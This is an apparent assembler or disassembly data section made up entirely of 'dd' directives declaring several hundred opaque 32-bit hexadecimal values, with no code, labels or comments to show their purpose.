dd 217FE649h, 3DC3F715h, 38B95ADFh, 2721DB41h, 728CAC28h
dd 0CE5C0481h, 647F79C5h, 17C2EBD5h, 0ADFD6594h, 202533A2h
dd 565DB747h, 258D3873h, 7DEBC1A5h, 96EF6AD9h, 87AD5D16h
dd 0DB5B5F14h, 0AB5E0A00h, 1AE5817Fh, 274B4371h, 380F68ECh
dd 0CD806275h, 96845F4h, 80137590h, 71FCECC8h, 0BC64FA27h
dd 26B4681Fh, 31581585h, 5DC3D0EFh, 0CA2F3B88h, 52B47D89h
dd 5244E994h, 0A129F3FBh, 0D82FC668h, 784AF2C8h, 0EB4E78E7h
dd 222EC62Dh, 4758612Fh, 0BE0F294Eh, 8B36E952h, 6D045E9h
dd 2EE7F3E9h, 3F9CD095h, 7B773508h, 0F758B757h, 5416BD4Eh
dd 2EF7DEBBh, 4096C234h, 7B5FC40Bh, 5BDD8F5Eh, 0BAC024BEh
dd 30C66299h, 20A63D31h, 0BD2B90D9h, 7B21087Eh, 48697628h
dd 8EF70735h, 586609E8h, 0EB3AAAFFh, 56296B0Fh, 86747A8h
dd 0F46713E9h, 5C16D39h, 91D1F7C8h, 56080719h, 7A68802Fh
dd 750BB34Bh, 0D09CE94Dh, 16A0F659h, 121F9F7Eh, 0DF2B0D8h
dd 0A4332700h, 205A3560h, 1DD89FD2h, 829E56BDh, 1C7D6B19h
dd 0B4DEF880h, 0E918FA11h, 154D6C2h, 0BB1AD6CAh, 61A2C221h
dd 0FE4ADC7Ah, 69E6DD4Bh, 0E334BE12h, 88E74B9Ch, 0F100D048h
dd 0E961EB73h, 65BFD6C6h, 1EDF27CDh, 0EF2E947Dh, 317B0C90h
dd 4E369095h, 2A188D4Dh, 4DDA1FBFh, 3B1A0B9Dh, 3797D531h
dd 356BFADh, 7CA64C3Ah, 0B535B49Ch, 124ADEAFh, 1744A837h
dd 5A09C54Bh, 2549E6D5h, 345A0D8Ch, 0E192CDEEh, 0DEF6590Eh
dd 88406280h, 5B705EF7h, 0CF992FDBh, 52AF3EE6h, 81AEFCE1h
dd 0E09C5FEh, 0E27F2425h, 8CAB92C0h, 0C468FCE7h, 5103FE78h
dd 0B2A933B9h, 0FCF38F23h, 0DD99892Dh, 817B4C5Ah, 0DB67F07Ah
dd 276849DCh, 0AD03BA79h, 0F1173B71h, 0DC3A0F3Eh, 0A106BBBBh
dd 6861725Ch, 3EDA97CFh, 69458202h, 121C2943h, 875B0A04h
dd 8DA331ADh, 65BB3B9Eh, 6615B394h, 9560E90Dh, 0FBA4CA59h
dd 0D3737289h, 6E3608C9h, 5DBE5609h, 6C4E81C3h, 0C23FC5A5h
dd 0F0442E44h, 5562F207h, 0B0B47DA9h, 2C6874F0h, 645523CEh
dd 9679885Bh, 55508997h, 0ECADE153h, 0C5FBF4D2h, 0B34CA74Bh
dd 0E3FC09D3h, 25A953FEh, 9C9E655h, 296FE954h, 5AC2B59Bh
dd 0E6DF1A6Ah, 0DE8927C8h, 897D3E32h, 3F8077A6h, 176263E7h
dd 4F0DEC90h, 0A424604Dh
dd 40DE50F1h, 9511BB57h, 2F59075h, 4A7D9845h, 703926ECh
dd 3B4EEB00h, 45CB8168h, 0E3C1D3Eh, 0DBE3C14Bh, 40723651h
dd 460939B0h, 8F87784Ah, 191C3F47h, 0F400256h, 0FEE88FE9h
dd 5A0FDC75h, 179EFAD5h, 0CC6911E9h, 0E24180ACh, 2924A02Bh
dd 0D8895F9Dh, 60565889h, 0E91211EFh, 0B886E0C8h, 0EC057795h
dd 0E9CBAE29h, 0E130E916h, 0C3D02083h, 0C56A3CF0h, 2428C071h
dd 223AD600h, 54EE8135h, 4C292563h, 0E6825F74h, 809D5E32h
dd 7767F683h, 0C5A6063h, 48667F51h, 176849C2h, 52B0742Dh
dd 6805F7D3h, 31AF021Fh, 6A45E9F2h, 93C3ECD3h, 1ED1C9D9h
dd 5355DD86h, 0BF30C6A6h, 68AC14B7h, 0B35B4E4Ah, 0FF7C2EEEh
dd 50C0E02Dh, 840D4AB4h, 0A7930819h, 0AAFC83Dh, 89538934h
dd 5F401519h, 853B7631h, 5528AB2Dh, 7F57FEE8h, 997D9DDBh
dd 0CB7B89BCh, 5EE04C75h, 0EE93FBF9h, 9E1CC344h, 305E41F3h
dd 7B2011ACh, 63E0A48h, 69DB0CC5h, 1382B6B6h, 6DD7775Ch
dd 4BB82E85h, 0D1D766F2h, 0C2670BE5h, 8BFD4EA1h, 0BAB26F3Ch
dd 56E180F5h, 1A76342Dh, 6B69C604h, 4BF8558Ah, 0D4DB5E39h
dd 0CBF8BEA2h, 0F07D2669h, 0DBAB81D7h, 1E60F235h, 587C4093h
dd 0B4836EB7h, 796A4788h, 4BFD98DDh, 9D9525FAh, 0EE65060Eh
dd 1939F75Dh, 0E13A5551h, 0EDDEFD69h, 0F8E062F2h, 2C1DA8F6h
dd 23575BFAh, 0B72F0CB8h, 0B85B9BC3h, 4FA12BEFh, 0A96021EFh
dd 0BEE36E23h, 0F8BA1679h, 9D14A9FEh, 0BDF30397h, 7F19E14Fh
dd 59E1FD99h, 0E4EFB388h, 3ADABE01h, 0B2205245h, 0D4A781Ah
dd 8EEC119h, 262FC3EEh, 0DD2DE229h, 70B77058h, 0C4085B7Ah
dd 7E7FF36h, 2FB91A10h, 0C424F705h, 177DE963h, 37CC4DBAh
dd 3E120405h, 854AE96Fh, 0C48A98ACh, 9DAE0F78h, 9365E0F6h
dd 0DC2D37Bh, 0B6BA5DCAh, 5112075Fh, 0CF54F137h, 0EA9304E2h
dd 34EFE91h, 0AE211297h, 4DB04804h, 2A418DAAh, 0F2106CE6h
dd 685506BCh, 20936D9Fh, 79BA0B6Bh, 95664B20h, 8DF15E09h
dd 5D300D1Ah, 0ADC50D18h, 548A3819h, 80F5BC0Ch, 2ADD9E30h
dd 80C0F9E9h, 257DDBBEh, 23FA098Dh, 305A0881h, 13429487h
dd 7CFD2DD6h, 70878B11h, 0A6C1338h, 7A89FE0Eh, 0B0C6F22Eh
dd 95095468h, 831E93DBh, 0F71C2880h, 985156DFh, 1B5C0039h
dd 68B92348h, 2850E12Ch, 98970ED8h, 818630A3h, 0C4B06A49h
dd 55D0BFFCh, 57958995h, 1497A8BCh, 412BB0E5h, 0F8F66EEDh
dd 0B0F1302Fh, 254B7391h, 71EE80A8h, 0A2C7A56h, 491D0CF7h
dd 346BE56Fh, 0E36DFF4Eh, 6AD5D5h, 2AFD2591h, 35013350h
dd 1FE02248h, 4070C589h, 0A93EE10Ah, 0CE0893C9h, 0CE890E22h
dd 0A8DEE1E4h, 7851CD3Dh, 127BD821h, 0B3D16708h, 8D001355h
dd 0AAA31DF7h, 98FE8933h, 22E5A90h, 3D91BB7Ch, 0B29592D8h
dd 28C65ECAh, 16820909h, 8E936EB1h, 62E05CCBh, 0F85AFDE9h
dd 0E67673B4h, 28F21BECh, 1EAC10FCh, 0E5525BDEh, 7F9BFB09h
dd 1B78A498h, 50691489h, 9C16031Ah, 301DBA8Eh, 873EE5Dh
dd 0B793F150h, 478454B6h, 1F80164Dh, 0BFFED8FAh, 5F0188E4h
dd 31405189h, 0FDCD5AD7h, 5C3D987Bh, 94733A4Bh, 5306E0C0h
dd 76FD76B3h, 0B0501CEBh, 17832844h, 0BF5BD930h, 0CDCAEC2h
dd 681307E4h, 6EEC6BE3h, 0FFCF12A4h, 5F512192h, 4BA441C0h
dd 0E1623181h, 96E2B7Ah, 0F3B5138Ch, 0FCD85E72h, 2F42417Ah
dd 82DB0AF0h, 333D2DC0h, 58367600h, 2A16AE0Dh, 7E2D0F51h
dd 1F92E2FCh, 0AD2C7380h, 756A60B1h, 0BA1745F0h, 47BD5F1h
dd 402E1EC5h, 77EA60C6h, 2F7BB091h, 4425B5Eh, 0BE797055h
dd 0ABE961B9h, 9CCE2AA5h, 0E9570760h, 0CC94EF27h, 1AFC717h
dd 3F0D6291h, 0C1897042h, 5D27F996h, 49E52E20h, 2EBE3012h
dd 0BF43035h, 9FF2FCE9h, 0C6CF6A59h, 3C8D4473h, 25122C77h
dd 2E5E9BEh, 7AC26C6Dh, 26384955h, 951893D8h, 780AF70h
dd 3EB685E9h, 30068633h, 680D0706h, 0D0A60FF9h, 3B8CBF80h
dd 1640F725h, 8F5A257Eh, 9481765Ah, 0E09203C7h, 0E17A6025h
dd 50F456C9h, 5018BD80h, 56979927h, 4ECC444h, 5F8ABC81h
dd 0A8EFC119h, 0BE7460E7h, 4E68C813h, 99C69E00h, 0B5D39EE9h
dd 53582CFEh, 25FB7289h, 46775BDDh, 33CD9718h, 0B7AC2113h
dd 0AADCC1B3h, 0EA4B32B9h, 6255D30Bh, 0FC70F7AFh, 0C0F6295Bh
dd 8629974h, 0D62D16E0h, 0F4C58122h, 2134D60Bh, 40EDE14Eh
dd 96685A08h, 0BBB35D5Fh, 0D5503205h, 818C8429h, 3E12BD3Eh
dd 0BD84DB12h, 29B14CACh, 0F9406FF1h, 35942136h, 6FB1A15Bh
dd 5A48CF7Eh, 2012C800h, 4815888h, 0EE768DCAh, 9801FA35h
dd 45B204F0h, 0E9095A38h, 0EC7475B1h, 0F22F5B51h, 8BF2C4AEh
dd 0C2B5E7FEh, 5759C830h, 46CEF079h, 0EE46EBBFh, 1717B218h
dd 3449D468h, 4176C1B0h, 0ADE441BDh, 5F2E9297h, 686BC8EEh
dd 0E957B361h, 0A673ED1Ch, 0F6F46064h, 0EC8932FEh, 1D447D29h
dd 0EE9F6375h, 1FAB73Eh, 9788F0BFh, 0E13B800Dh, 523C340Dh
dd 49D8545Ah, 0D7DD4A9Ah, 6063417Ah, 30F36840h, 0DCBD9937h
dd 6930033h, 997095BBh, 0EB2A3157h, 0C281B55Dh, 5281057Bh
dd 9A1679A3h, 0B30B48B0h, 0E199520h, 8B098F2Ah, 0A3BC0C47h
dd 5BAD06BBh, 5429A321h, 1ECB8101h, 4B062214h, 0FADC7271h
dd 98D44860h, 1B1A2402h, 0FBF4292Ch, 0A79C0820h, 5927F189h
dd 0B3AC8983h, 527985C4h, 0FB9FDEFAh, 82D42D58h, 81E0F363h
dd 0C856DD8h, 0E8926088h, 42B0E36h, 0F1011F86h, 154D7EE3h
dd 0CE10030h, 11666D29h, 632F4C1Ah, 0FB1CE031h, 39DE1135h
dd 0E9084029h, 0FECC8412h, 6460C2B6h, 57A34E1h, 638B56C1h
dd 0AC236874h, 17F7D884h, 0F8CD7EA4h, 2A7C7D0Ch, 4EC56619h
dd 412D429h, 0BEFA72D1h, 0BB161EB2h, 7E34E37Eh, 9C424C41h
dd 1F8DFEFh, 9B900176h, 8BBF234Ah, 0F388138Ch, 0CA784A09h
dd 4AA67EA1h, 925883Ch, 1258BD02h, 4AC183F8h, 0F5FF03EBh
dd 1B9A0A18h, 4C1A3C09h, 0ED0EFF97h, 99A954E7h, 116CF900h
dd 0C9B01D6Fh, 598CEB4Ah, 799D01B9h, 496836D7h, 0EE316E17h
dd 580263BBh, 0D01A4456h, 0CD167711h, 5AE6C13Dh, 9814C6A6h
dd 6A096BCFh, 0B57AD79h, 186257FFh, 0DB2582D5h, 0A2FC293Ch
dd 75F468C1h, 0B7C13438h, 7E1F4D74h, 0D3CCB9A5h, 56E2601Ch
dd 0F013A2E1h, 0D1F75516h, 22E65704h, 3C69FECh, 285CCFC7h
dd 39803C78h, 75CF9FE5h, 1E418ACCh, 7D509B8h, 9C001BC0h
dd 6DEE4E90h, 5D2B89BFh, 0B92E2DE0h, 499584A4h, 0E9DB29ABh
dd 759DE148h, 854BFDCDh, 3E2CFFA5h, 9B209753h, 73DB4CEDh
dd 2030AE58h, 0A9524B01h, 56009C58h, 255873A0h, 487F1882h
dd 2D058E32h, 0AD9C2C02h, 7088E9B0h, 0E43174B0h, 6081B0C7h
dd 36B512BAh, 0EE728852h, 805AF032h, 3BD1D73Bh, 653CB901h
dd 0AF2E0751h, 80E18D32h, 17C0C9EBh, 0F4167FB9h, 37D2022Dh
dd 3D9E9B4h, 0F7825A55h, 0BDF7916Bh, 525B01B9h, 7FADEC50h
dd 587B14A3h, 0E904062Dh, 0AAFEDA22h, 3D10D29Bh, 0D8B8007Eh
dd 5436D27h, 452E27BCh, 84038FFEh, 45E68206h, 0E96AE1B4h
dd 0A8BBA499h, 62E9829Eh, 800949EDh, 37684085h, 51778C07h
dd 88D7B109h, 69170ECEh, 0F478F56Fh, 7CBFD6E4h, 0A8AF4489h
dd 15BF4A2Fh, 0B74EAF01h, 0D6B3D6A5h, 5B4AEE4Ah, 0B8939E1Fh
dd 790B0535h, 2FB77AA8h, 0AC4D6AE4h, 4BBF5708h, 5074B400h
dd 81020983h, 277945F6h
dd 68C3407Eh, 0C120FA30h, 47C3FC0Ch, 94878DBh, 77FD71E9h
dd 0A2C25E30h, 9585D782h, 0FB9DD456h, 0EB80D3A2h, 9C5537F5h
dd 0D4971B98h, 0DC685053h, 6CC31C03h, 48D5F75Dh, 2B0E6504h
dd 0E942E17Ah, 0E6BE90AEh, 0D766A1B7h, 0E741383Eh, 0E934C9E6h
dd 0FF2D4BD8h, 0C15B4C82h, 44FA28E6h, 2BD00AD9h, 18838C5h
dd 9139AE21h, 929B6989h, 0A3C9A01h, 73710DA4h, 0E97AF42Fh
dd 46B27925h, 0B2505B80h, 0AE45CB37h, 80C1456Bh, 0CB2F83FAh
dd 0BE8E34E1h, 51140789h, 0E1B55717h, 0FE2BD6F1h, 0A43E652Dh
dd 574C7135h, 0C188C787h, 0DCFFCE25h, 0D44E5BA6h, 68C2D6ADh
dd 795D565Eh, 9677EB63h, 52BB0B1Bh, 6170782Eh, 0A0530609h
dd 25D07718h, 24FCC095h, 23102F2Bh, 0A662A2D6h, 95505E0h
dd 3FED06BBh, 3A24542Bh, 0A3103302h, 0CDF87F26h, 8C590882h
dd 53029DA9h, 53A867E9h, 63688581h, 0E5936224h, 870F1D7h
dd 912E7A8h, 0E879A902h, 3D05D9FEh, 1B65198Fh, 286499B4h
dd 7B01FEF7h, 0BE255B62h, 162A9620h, 0BB7CFB43h, 802EBC4h
dd 7EEBFCE9h, 0EB78BD6Bh, 6D6D7FDAh, 0C649B80Bh, 58750A79h
dd 8C30C2h, 3BA823B0h, 5F4CF921h, 5C3804C0h, 15072A63h
dd 0FBFDF4ECh, 2D3AB3CEh, 0CC762994h, 741114Ch, 13CC8BA0h
dd 0E2FEF911h, 6EF3846Ch, 53F9435Dh, 0DE8929C1h, 43027E5Bh
dd 0D9029FE9h, 23948982h, 81518309h, 0E34BE902h, 0C623DCFEh
dd 0F7360687h, 2E4C0BD6h, 62A0818Eh, 3655535Bh, 0CFE9384Dh
dd 0B7EFAC4Ah, 0FEEEEFD1h, 9DFBE27Bh, 0B67635A2h, 6EE2FA20h
dd 902015DBh, 4FBB05F7h, 1E70FE7Ah, 0B4334184h, 61EBC14Ch
dd 45EACC8Eh, 6F9EE36Eh, 0BDDE432h, 4CE98C80h, 0BE42C3B0h
dd 0ABC23E8Ah, 572828FCh, 48F7DD54h, 1C330D07h, 5637DB0h
dd 1C72E06h, 6CA70820h, 0E6048812h, 8907269Ah, 45F9E2C3h
dd 4199C4FFh, 0A708ED8Fh, 366C7DDCh, 0D334E3B5h, 0B8A39F14h
dd 0E90B135Bh, 511C801Ch, 0B5F0595Fh, 58023D94h, 6D5C1568h
dd 0D996AF13h, 0A088F897h, 97D5DA78h, 502FCD46h, 0C913F9BBh
dd 0BA25DD20h, 5B02120Ah, 0EFFF6A05h, 0FD0362ACh, 0CE5F834Bh
dd 337B8FA9h, 5D4E8964h, 81CC21B1h, 5E77F55Bh, 963D7815h
dd 9284BB4Ah, 59896DE8h, 0E770F442h, 995FAE1Ch, 0FC791A3Eh
dd 71B97E18h, 10C762D2h, 0F24FF3D3h, 99362AA9h, 0CF012098h
dd 0C1102017h, 0AE2002E6h, 8D2B599Bh, 64305010h, 9CF2F084h
dd 0DB92454Eh, 656A0478h, 5AF16D4h, 0FACB6A00h, 0DC2ECDCh
dd 234E491Bh, 0B95E324h, 0F3005D08h, 30D2C4Ah, 609DD83h
dd 8970D7C2h, 5ACCF2E8h, 7750CEB8h, 0B75DFE52h, 0BB53F8B8h
dd 0FC5C1E03h, 0A485E915h, 0F040AD88h, 10B464D1h, 0DFB9ABBEh
dd 49161959h, 100E8CBDh, 43A1E41h, 1084B6EBh, 0F9981391h
dd 0FFA4CBF2h, 0C9336121h, 51A28C78h, 0E26AD1D7h, 0C7FEB5CAh
dd 0A441448Fh, 0A8BB893Ah, 64C50052h, 20E97914h, 0EEFF551Dh
dd 680FB6BAh, 0AE137595h, 553F95E7h, 543FBDBFh, 0C9B6BA81h
dd 72EED9E9h, 31A95A2Bh, 459E5B2Fh, 7208B6A1h, 154332E1h
dd 27E4D607h, 318B2573h, 0AD417EC6h, 528695F6h, 24125A58h
dd 0BC12ADE9h, 168D2576h, 0D7721174h, 0F0900B79h, 9522BB4Eh
dd 840B559Ah, 0BF1C665Dh, 5D5AC17Eh, 33F15DF4h, 20771E05h
dd 3D3071B7h, 0F7FA6D3Dh, 1C4E172h, 14E7AFC2h, 0A402F95Bh
dd 0D02156D0h, 9C4EE9h, 59990566h, 0BC06F8h, 0E9170720h
dd 0B4B23258h, 616A6802h, 96571F3Ch, 2CE0420h, 940B481Eh
dd 82DE00E7h, 89D53B15h, 1A207725h, 7E7B7511h, 5EF1E3C5h
dd 0D5BB3D7Ah, 0CE257B03h, 0CC188C12h, 192510h, 5712C7Eh
dd 7942CE4Dh, 0C3728690h, 2FB5DA48h, 0CA53FC80h, 0BBA5A10Ch
dd 0E28EBACAh, 0A97E3351h, 0B2CCD7DFh, 207D9930h, 0C11897FDh
dd 0AD805DABh, 1E932568h, 53C44274h, 27911B80h, 0BB3902DBh
dd 8462FD0h, 3328B574h, 0EFA8DCD7h, 1E3C5D81h, 0D512A0ECh
dd 0E7282A2Eh, 0E1067652h, 32F1B2E9h, 1C10D306h, 7B8E0EEBh
dd 4992DE50h, 9756D28Ch, 0BA402E51h, 4EB70D4Dh, 84CCF13Ch
dd 0CA810806h, 1A447E80h, 31CD33E9h, 37B14648h, 0A9ED7A2Fh
dd 82FA5B7Eh, 79DF542Eh, 9C5769CBh, 0C9227759h, 0E80D1C0h
dd 2D1B4BF6h, 47CE2B49h, 0B5DB4ACBh, 245F2927h, 2BD4E4BDh
dd 0A411A2AFh, 0CBEB9601h, 133A525Bh, 78A0AFCDh, 0BFB5E6E9h
dd 773A9CA0h, 0B2CC4DD8h, 98FBF911h, 31615AC6h, 1CA2F82h
dd 1060478Fh, 0BBB140C1h, 28370F38h, 0F52EF677h, 0E90B6AC8h
dd 62BDA68h, 1F736EEBh, 26D05A2Ch, 89FE4A08h, 0D3C88016h
dd 0E92B7E7Ch, 8C8359CCh, 0B0B6E0D2h, 0D93157C5h, 0E6193687h
dd 0A8D20FCh, 0CBB56D98h, 0DC8AD923h, 0AB5FAA96h, 7709023Ch
dd 0A96CBF6Fh, 69E1516Bh, 0BED028E9h, 0E5E3BD6Bh, 29142DB8h
dd 1184FA45h, 989123E9h, 68125548h, 0A444FFDh, 0FE12E1AAh
dd 37E0E917h, 2ECB35C7h, 0AAA1EE46h, 27170C82h, 0A3074990h
dd 0E961CF42h, 845C207h, 16701B38h, 79E868h, 75471B88h
dd 0E726C174h, 893B5A05h, 4099948h, 0A81302C2h, 40054EFDh
dd 49AAF187h, 1C629929h, 80C4E057h, 8501FC4h, 0F7A07BE1h
dd 0D2D5F02h, 5743CA38h, 709A6E2h, 0FCAB0F48h, 51526680h
dd 0F6C8A850h, 293397D9h, 0A20B1ABAh, 53C227h, 2595D5F7h
dd 0A1264D00h, 0D8B92D18h, 8BF95887h, 0F7895809h, 0C23DEE9Ch
dd 17F00A06h, 8A0CF01h, 0F5D85F5Ah, 0E385B577h, 0FAA335BFh
dd 3A2C81D1h, 0BB511C92h, 0E9A3AFF2h, 0D56877CAh, 0A71214DCh
dd 25A44234h, 4F074076h, 0FC1F7890h, 1EE0E76Dh, 5CB3EE2h
dd 0FF41D9F7h, 3DF1BEB0h, 7C3B182Fh, 0BBC70979h, 479164BAh
dd 0D8123E86h, 0F7C138EAh, 63F3D65Eh, 0CE7558CBh, 0BF507692h
dd 0FAB83618h, 0B48A05B1h, 4712DCC2h, 2881C2ABh, 698A3441h
dd 0F6020B7Dh, 0F2C0D5D1h, 880141F1h, 0E23059CAh, 0FC2E2858h
dd 0A7152493h, 0ED93549Dh, 0F1A38D5Bh, 0F95321BAh, 0D193D9h
dd 0AC72F8F6h, 59CE09B8h, 0EEC1D6DEh, 0C6D2941Eh, 92232E30h
dd 0AAF02020h, 0F1FF20D2h, 2F002156h, 296204FFh, 8226ACDEh
dd 5F483168h, 0B104309Ah, 57EEDD5h, 30DF69E8h, 451112EEh
dd 0AC26E9A8h, 31950EC6h, 49F84FC7h, 0D57FE241h, 308F5FE5h
dd 0D02826EAh, 0B0EE49FCh, 8B1CFC4Bh, 97D7D885h, 89EED8DBh
dd 6295F149h, 3C94CE01h, 0F736E917h, 0D430D8C9h, 70812A9h
dd 0EAB847h, 81634C29h, 0B452AF2h, 3AE9993Bh, 0D388B522h
dd 0AB220EFFh, 0FA6F66EBh, 1872E5Ch, 0DB5042F2h, 0A58909h
dd 397C264h, 20D69561h, 0D0EF010Ch, 0BF023D2Dh, 0F1F5E992h
dd 0FFCAA535h, 7128EE6Dh, 0E1120F5Ah, 6F1839FFh, 9D357FDh
dd 665ED204h, 12CB064Fh, 1EC9F442h, 929DB050h, 292DB002h
dd 0BD9D459Fh, 68F3CBB1h, 64E37F4Dh, 0B65A5412h, 808F8C7Fh
dd 1AE403Bh, 0F5FED66Bh, 25F5FD8Bh, 20FB5DB2h, 26680393h
dd 9CDA114Dh, 0B89E5801h, 0C55397E9h, 0A709D8BAh, 9B1A40Fh
dd 661BC4F2h, 0C0770BF5h, 98935E6Fh, 0BE752056h, 0C9091D90h
dd 0DF730FD9h, 0A8D4FF05h, 8F8F4FADh, 1212825h, 3BFEADDAh
dd 0FBA1D6A8h, 1D03A65h, 6207A423h, 1E245C89h, 0F5FE0909h
dd 883F9C72h, 0E98B39FEh, 78B5224Fh, 40580209h, 0F378260h
dd 0B2C12D73h, 61C55396h, 41880C8Bh, 0C6A5D2E0h, 5AD85781h
dd 50CC085h, 53990733h
dd 9EECA195h, 0CB6AFECEh, 67750EBh, 6B46021Eh, 0AEE9D642h
dd 0C20048CEh, 73C59D58h, 36A76884h, 2FD3CEAFh, 2567F9EAh
dd 0C08036E6h, 5B8145F2h, 9FF1FCD8h, 8401BFB9h, 64986872h
dd 0D84039BBh, 29C25B58h, 0DF5D31E9h, 19F82DA2h, 2029FA5Fh
dd 0BE010BD4h, 77924930h, 5D34EE83h, 766AFC9Eh, 0A5F60940h
dd 0DCFC4768h, 15F20617h, 0B21E8906h, 690F0C1Fh, 9F176022h
dd 0C40C76C7h, 91BF4E64h, 0D9550BD6h, 0FFB86FF0h, 51005C8Bh
dd 4AFE680Ah, 0BD8ED1B5h, 0FF2A568Bh, 0F725BC45h, 420EA310h
dd 2F76BA3Fh, 6C673C7h, 1F096852h, 0E7D9990h, 0EEAB2C80h
dd 51ADB77Eh, 0D7FC7B2Ch, 173EFDF4h, 30AEB45Ah, 0DE787DF6h
dd 7C1DF396h, 0E90CEF8Ch, 60491EF6h, 1C7CEEDBh, 89D9A6F2h
dd 9C1A7D1Bh, 0AFDFC905h, 0E31763A2h, 0E882564Ah, 96F5A747h
dd 0C7FE7094h, 0CC30A215h, 453FA61h, 555D00C2h, 5AC9158Ah
dd 0FDE08ECEh, 95D85C81h, 0B34495ADh, 2AEB47A1h, 0EC8148E4h
dd 0C0EE134Ch, 0F6B60C1Dh, 1609BB80h, 0D018D747h, 222E86A8h
dd 664D42D4h, 0BBB51063h, 34D9680Ch, 314CF027h, 0D182A421h
dd 0C4680230h, 9641F15Fh, 0BAD9843Ah, 7850F9F7h, 3E5C0430h
dd 0A0DBE902h, 0A60E885h, 2CA33993h, 0A091000Eh, 0E7BC936Bh
dd 1FC013E9h, 6855AF74h, 60D20029h, 0C3AC2D3Bh, 0A8398A3Dh
dd 49C28BCFh, 5506158h, 0B57B3581h, 84BC2781h, 5A8CC1FCh
dd 0E9605601h, 57278007h, 32B72665h, 31C10FECh, 1FC05595h
dd 685B6106h, 8166808Bh, 0FD5E39E0h, 1ABD2916h, 44126ACh
dd 2840CE31h, 37181EF2h, 0F02E67D0h, 7507B23h, 84A477EAh
dd 4CBFB155h, 322860BEh, 67720C01h, 2B75858Bh, 19894C91h
dd 0E95F6D9Dh, 188100E7h, 513ABFC2h, 76002293h, 0B2C86BF7h
dd 4446035h, 0C1B826BCh, 7903AFF4h, 54D8531h, 58FE8145h
dd 0F329E1A6h, 84EC53D6h, 8A83339Ch, 22E9E5h, 0C0E4BE0Fh
dd 0A24E86B0h, 0D3D7B200h, 7ADFAE80h, 28780948h, 7B54E9DBh
dd 0BA3BF780h, 7BB68F13h, 46AA00E1h, 0B7F82E59h, 0DD009426h
dd 0CB6D4795h, 5B3DAEh, 982386EEh, 69468BDFh, 38A6F13Eh
dd 25B080AFh, 7B8ED397h, 3E337AB7h, 0C2A95B89h, 5177E004h
dd 3018910Ah, 3718CB81h, 33AB07Eh, 3CAD2BA9h, 56F8C2A1h
dd 9348E40Eh, 6202442h, 0F7F43606h, 11D14229h, 60210CC4h
dd 90F5E308h, 0A119FC5h, 0BC087421h, 0E991F4h, 84679035h
dd 158730Ch, 0BC4DEDA3h, 0F428C15Fh, 600A679h, 0E83E19F0h
dd 0F91DD73h, 712A53CBh, 601EB207h, 367E930Ah, 6C8B2F1Ch
dd 14AC7580h, 2EE060h, 0DFDBBEF1h, 0F70F729h, 0F96CD700h
dd 5EFAE25Ch, 0C7A10047h, 63D32D20h, 8A0045CDh, 0A70451DFh
dd 9325C5h, 9EECD85Bh, 0C86FABF6h, 7D01794Bh, 0DCF3C42Eh
dd 71E0CF8h, 74AF0E23h, 6ED2C01Ch, 0BF3EC9E1h, 52D50724h
dd 94C3E9ADh, 0B9EBF058h, 9075009Fh, 0B2EC613Ch, 0F01C7DE8h
dd 0A6C05C63h, 426B2510h, 1DE4BDh, 5099539Ch, 3037F9A3h
dd 0FD40F500h, 9EB3F75Bh, 0CA64064Fh, 1194391Bh, 542C020Fh
dd 377F000Dh, 1BEEE5Eh, 0AAA2416Dh, 20A88251h, 0AD00F108h
dd 4D1710C1h, 2E36F2E1h, 0CC9D57h, 41ABB874h, 8B045813h
dd 0C7D8A7E9h, 0EBF84280h, 99A500A8h, 0B687CA07h, 0FA09EF26h
dd 9286AEh, 0AD40C70Ah, 9422000Ch, 0E79E7FCDh, 0E47FF12Ch
dd 84C53A00h, 0A58FAE44h, 580AE08Eh, 0BC010848h, 6A65DBF3h
dd 96F6CCCBh, 0F29958h, 0BAE07934h, 0F61F5B16h, 20291D61h
dd 2B9FC01Ah, 2A4DBEBDh, 3599D1C0h, 1BF697Ah, 0DE4A18D6h
dd 0F82E34F0h, 31E2F9Dh, 0E340BBE9h, 60701F91h, 103D0033h
dd 311D5093h, 7F0072AFh, 5297CE2Fh, 0EA3A1EC7h, 0A50580C3h
dd 75BA44h, 0DE2F1F2Dh, 3976AE47h, 0ED003D7Ch, 0FA514C99h
dd 13EC44Fh, 2840B304h, 4746DEB9h, 0BFC770D4h, 0E04AD7Fh
dd 8502F2FAh, 0EA57CC90h, 77EC0EA4h, 6F4083CBh, 0A9B0A32Bh
dd 0E847C600h, 9B7B8F06h, 0C73F747Fh, 0C002ED11h, 9656D7C2h
dd 9200C97Ch, 9E11CF86h, 91B1B2h, 38F6DF02h, 0A9A7FF55h
dd 34DCB00h, 821348A8h, 12BF49Ah, 0E57A2599h, 0FF5A15B9h
dd 0B2BE76D8h, 0BF14817Ch, 9F69598h, 8EC8E1E4h, 0CD5E8018h
dd 1488622h, 642ABC90h, 0CC877AA6h, 0B30AFFC9h, 81E9551Eh
dd 1B9BC003h, 6896D2h, 72A8B17Eh, 51E88FDDh, 6E459212h
dd 62AE5400h, 0C4FF1Ch, 0BF7890D9h, 6DF6FAB1h, 22C64C1Ch
dd 0FD58007Dh, 754B5926h, 0E51309B7h, 70034F7h, 4374168Ah
dd 48E38D02h, 80B94AB1h, 3A03DDFBh, 9424266Eh, 1960080h
dd 22B09DD0h, 80FEF33Ch, 4BD1174Ch, 7363A69h, 165A9767h
dd 0F4DEB09Fh, 0FE162A38h, 0D09D987h, 17C00B2h, 0CE9551h
dd 84302529h, 11FC7D5Ah, 5F428B00h, 2C264C53h, 76B30066h
dd 0F109A448h, 0F3000B16h, 328F0EA9h, 785737A6h, 2D670314h
dd 2BE21763h, 59A31E98h, 23C5AF16h, 35DE5103h, 7AF0EF6Ah
dd 0CD40493h, 0DCF2E876h, 0ED120218h, 280E875Bh, 5D4979h
dd 0BCDF7524h, 0F83A268Ah, 8D97076Ch, 157C50F5h, 1903E5B1h
dd 0E40DEA33h, 0B5BFE03Ch, 0BA971E44h, 5782C027h, 32361A58h
dd 2E98CF07h, 0F601DCE9h, 0E3E82946h, 0E4615084h, 0EF760039h
dd 75E9D4EAh, 72011425h, 2C28834Ah, 98F446E8h, 1B33006Fh
dd 0F808BEE5h, 6B00B9E1h, 4A413938h, 7BCD23h, 6F992ED4h
dd 0EDFF977Ch, 0E85B8A00h, 45EE9E2Fh, 0EFC07A7h, 80315771h
dd 24AC859Ch, 32D37700h, 127AD69Fh, 73C80928h, 4C0FC47Ch
dd 71092E20h, 6AF88335h, 9907A6FEh, 292BCD72h, 0F8CA73C3h
dd 2CDF9B5Ah, 33B9CAFh, 0A78644B9h, 45FA6988h, 1DB27D00h
dd 0CBF50CCh, 123073F4h, 0DD46B9h, 0BCF9370Ch, 4B0F1A45h
